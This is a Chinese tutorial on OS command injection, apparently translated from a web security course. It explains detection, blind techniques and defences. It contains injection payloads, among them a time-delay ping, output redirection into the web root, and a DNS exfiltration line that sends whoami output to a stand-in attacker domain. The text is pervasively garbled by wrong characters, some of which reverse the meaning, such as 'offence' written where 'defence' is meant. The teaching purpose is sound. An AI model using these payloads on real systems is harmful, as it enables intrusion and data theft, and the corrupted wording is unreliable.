OS command injection
在本节中,咱们将解释什么是操作系统命令注入,形容如何检测和利用此破绽,为不同的操作系统说明一些有用的命令和技术,并总结如何避免操作系统命令注入。
什么是操作系统命令注入
OS 命令注入(也称为 shell 注入)是一个 web 安全漏洞,它容许攻击者在运行应用程序的服务器上执行任意的操作系统命令,这通常会对应用程序及其所有数据造成严重危害。并且,攻击者也经常利用此破绽危害基础设施中的其余局部,利用信赖关系攻打组织内的其余零碎。
执行任意命令
假如某个购物应用程序容许用户查看某个商品在特定商店中是否有库存,此信息能够通过以下 URL 获取:
https://insecure-website.com/stockStatus?productID=381&storeID=29
为了提供返回信息,应用程序必须查问各种遗留零碎。因为历史起因,此性能通过调用 shell 命令并传递参数来实现如下:
stockreport.pl 381 29
此命令输入特定商店中某个商品的库存信息,并将其返回给用户。
因为应用程序没有对 OS 命令注入进行进攻,那么攻击者能够提交相似以下输出来执行任意命令:
& echo aiwefwlguh &
如果这个输出被当作 productID 参数,那么应用程序执行的命令就是:
stockreport.pl & echo aiwefwlguh & 29
echo
命令就是让提供的字符串在输入中显示的作用,其是测试某些 OS 命令注入的无效办法。&
符号就是一个 shell 命令分隔符,因而上例理论执行的是一个接一个的三个独自的命令。因而,返回给用户的输入为:
Error - productID was not provided
aiwefwlguh
29: command not found
这三行输入表明:
- 原来的
stockreport.pl
命令因为没有收到预期的参数,因而返回错误信息。 - 注入的
echo
命令执行胜利。 - 原始的参数 29 被当成了命令执行,也导致了异样。
将命令分隔符 &
放在注入命令之后通常是有用的,因为它会将注入的命令与注入点前面的命令离开,这缩小了随后产生的事件将阻止注入命令执行的可能性。
罕用的命令
当你辨认 OS 命令注入破绽时,执行一些初始命令以获取无关零碎信息通常很有用。上面是一些在 Linux 和 Windows 平台上常用命令的摘要:
命令含意 | Linux | Windows |
---|---|---|
显示以后用户名 | whoami | whoami |
显示操作系统信息 | uname -a | ver |
显示网络配置 | ifconfig | ipconfig /all |
显示网络连接 | netstat -an | netstat -an |
显示正在运行的过程 | ps -ef | tasklist |
不可见 OS 命令注入破绽
许多 OS 命令注入破绽都是不可见的,这意味着应用程序不会在其 HTTP 响应中返回命令的输入。不可见 OS 命令注入破绽依然能够被利用,但须要不同的技术。
假如某个 web 站点容许用户提交反馈信息,用户输出他们的电子邮件地址和反馈信息,而后服务端生成一封蕴含反馈信息的电子邮件投递给网站管理员。为此,服务端须要调用 mail 程序,如下:
mail -s "This site is great" -aFrom:peter@normal-user.net feedback@vulnerable-website.com
mail 命令的输入并没有作为应用程序的响应返回,因而应用 echo 负载不会无效。这种状况,你能够应用一些其余的技术来检测破绽。
基于延时检测
你能够应用能触发延时的注入命令,而后依据应用程序的响应时长来判断注入的命令是否被执行。应用 ping
命令是一种无效的形式,因为此命令容许你指定要发送的 ICMP 包的数量以及命令运行的工夫:
& ping -c 10 127.0.0.1 &
这个命令将会 ping 10 秒钟。
重定向输入
你能够将注入命令的输入重定向到可能应用浏览器拜访到的 web 目录。例如,应用程序应用 /var/www/static 门路作为动态资源目录,那么你能够提交以下输出:
& whoami > /var/www/static/whoami.txt &
>
符号就是输入重定向的意思,下面这个命令就是把 whoami 的执行后果输入到 /var/www/static/whoami.txt 文件中,而后你就能够通过浏览器拜访 https://vulnerable-website.com/whoami.txt
查看命令的输入后果。
应用 OAST 技术
应用 OAST 带外技术就是你要有一个本人管制的内部零碎,而后注入命令执行,触发与你管制的零碎的交互。例如:
& nslookup kgji2ohoyw.web-attacker.com &
这个负载应用 nslookup
命令对指定域名进行 DNS 查找,攻击者能够监督是否产生了指定的查找,从而检测命令是否胜利注入执行。
带外通道还提供了一种简略的形式将注入命令的输入传递进去,例如:
& nslookup `whoami`.kgji2ohoyw.web-attacker.com &
这将导致对攻击者管制的域名的 DNS 查找,如:
wwwuser.kgji2ohoyw.web-attacker.com
注入 OS 命令的办法
各种 shell 元字符都能够用于执行 OS 命令注入攻打。
许多字符用作命令分隔符,从而将多个命令连贯在一起。以下分隔符在 Windows 和 Unix 类零碎上均可应用:
&
&&
|
||
以下命令分隔符仅实用于 Unix 类零碎:
;
- 换行符(
0x0a
或\n
)
在 Unix 类零碎上,还能够应用 `
反引号和 $
符号在原始命令内注入命令内联执行:
`
$
须要留神的是,不同的 shell 元字符具备轻微不同的行为,这些行为可能会影响它们在某些状况下是否工作,以及它们是否容许在带内检索命令输入,或者只对不可见 OS 利用无效。
有时,你管制的输出会呈现在原始命令中的引号内。在这种状况下,您须要在应用适合的 shell 元字符注入新命令之前终止援用的上下文(应用 "
或 '
)。
如何进攻 OS 命令注入攻打
避免 OS 命令注入攻打最无效的办法就是永远不要从应用层代码中调用 OS 命令。简直在对于所有状况下,都有应用更平安的平台 API 来实现所需性能的代替办法。
如果认为应用用户提供的输出调用 OS 命令是不可避免的,那么必须执行严格的输出验证。无效验证的一些例子包含:
- 依据允许值的白名单校验。
- 验证输出是否为数字。
- 验证输出是否只蕴含字母数字字符,不蕴含其它语法或空格。
不要试图通过本义 shell 元字符来清理输出。实际上,这太容易出错,且很容易被纯熟的攻击者绕过。